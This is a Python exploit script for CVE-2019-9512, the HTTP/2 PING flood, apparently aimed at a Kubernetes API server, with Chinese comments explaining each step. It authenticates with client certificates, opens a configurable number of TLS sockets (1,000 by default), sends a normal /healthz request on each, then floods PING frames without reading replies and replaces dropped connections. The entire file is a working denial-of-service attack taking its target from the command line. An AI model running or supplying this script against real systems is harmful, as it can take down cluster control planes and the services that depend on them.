#!/usr/bin/python
# cve-2019-9512.py

import ssl
import socket
import time
import sys


class PingFlood:
    # HTTP/2 Magic头
    PREAMBLE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'
    # PING帧
    PING_FRAME = b"\x00\x00\x08" \
        b"\x06" \
        b"\x00" \
        b"\x00\x00\x00\x00" \
        b"\x00\x01\x02\x03\x04\x05\x06\x07"
    # WINDOW UPDATE帧
    WINDOW_UPDATE_FRAME = b"\x00\x00\x04\x08\x00\x00\x00\x00\x00\x3f\xff\x00\x01"
    # SETTINGS帧
    SETTINGS_FRAME = b"\x00\x00\x12\x04\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x64\x00" \
        b"\x04\x40\x00\x00\x00\x00\x02\x00\x00\x00\x00"
    # SETTINGS响应帧
    SETTINGS_ACK_FRAME = b"\x00\x00\x00\x04\x01\x00\x00\x00\x00"
    # HEADERS帧，请求/healthz
    HEADERS_FRAME_healthz = b"\x00\x00\x29\x01\x05\x00\x00\x00\x01\x82\x04\x86\x62\x72\x8e\x84" \
        b"\xcf\xef\x87\x41\x8e\x0b\xe2\x5c\x2e\x3c\xb8\x5f\x5c\x4d\x8a\xe3" \
        b"\x8d\x34\xcf\x7a\x88\x25\xb6\x50\xc3\xab\xb8\xd2\xe1\x53\x03\x2a" \
        b"\x2f\x2a"

    def __init__(self, ip, port=6443, socket_count=1000):
        # 配置到Kubernetes API Server的TLS上下文
        self._context = ssl.SSLContext(ssl.PROTOCOL_TLS)
        self._context.check_hostname = False
        self._context.load_cert_chain(certfile="./client_cert", keyfile="./client_key_data")
        self._context.load_verify_locations("./certificate_authority_data")
        self._context.verify_mode = ssl.CERT_REQUIRED
        # self._context.keylog_filename = "/Users/rambo/Desktop/exp/keylog"
        # 协议协商
        self._context.set_alpn_protocols(['h2', 'http/1.1'])

        self._ip = ip
        self._port = port
        # 创建n个socket
        self._sockets = [self.create_socket() for _ in range(socket_count)]

    def create_socket(self):
        try:
            print("[*] Creating socket...")
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(4)
            # 应用配置的TLS上下文
            ssock = self._context.wrap_socket(sock, server_side=False)
            ssock.connect((self._ip, self._port))
            # 首先发起正常的对/healthz接口的查询请求
            ssock.send(self.PREAMBLE)
            ssock.send(self.SETTINGS_FRAME)
            ssock.send(self.HEADERS_FRAME_healthz)
            ssock.send(self.SETTINGS_ACK_FRAME)
            # 接收响应和回复
            rmsg = ssock.recv(1024)
            rmsg = ssock.recv(1024)
            rmsg = ssock.recv(1024)
            rmsg = ssock.recv(1024)
            rmsg = ssock.recv(4096)
            # 返回一个待用于攻击的socket
            return ssock
        except socket.error as se:
            print("[-] Error: " + str(se))
            # 创建socket失败，则等待一会儿再次尝试创建
            time.sleep(0.5)
            return self.create_socket()

    def attack(self):
        print("[*] Flooding...")
        for s in self._sockets:
            try:
                # 发送PING帧，不读取响应帧
                s.send(self.PING_FRAME)
            except socket.error:
                self._sockets.remove(s)
                self._sockets.append(self.create_socket())


if __name__ == "__main__":
    dos = PingFlood(sys.argv[1], int(sys.argv[2]), int(sys.argv[3]))
    dos.attack()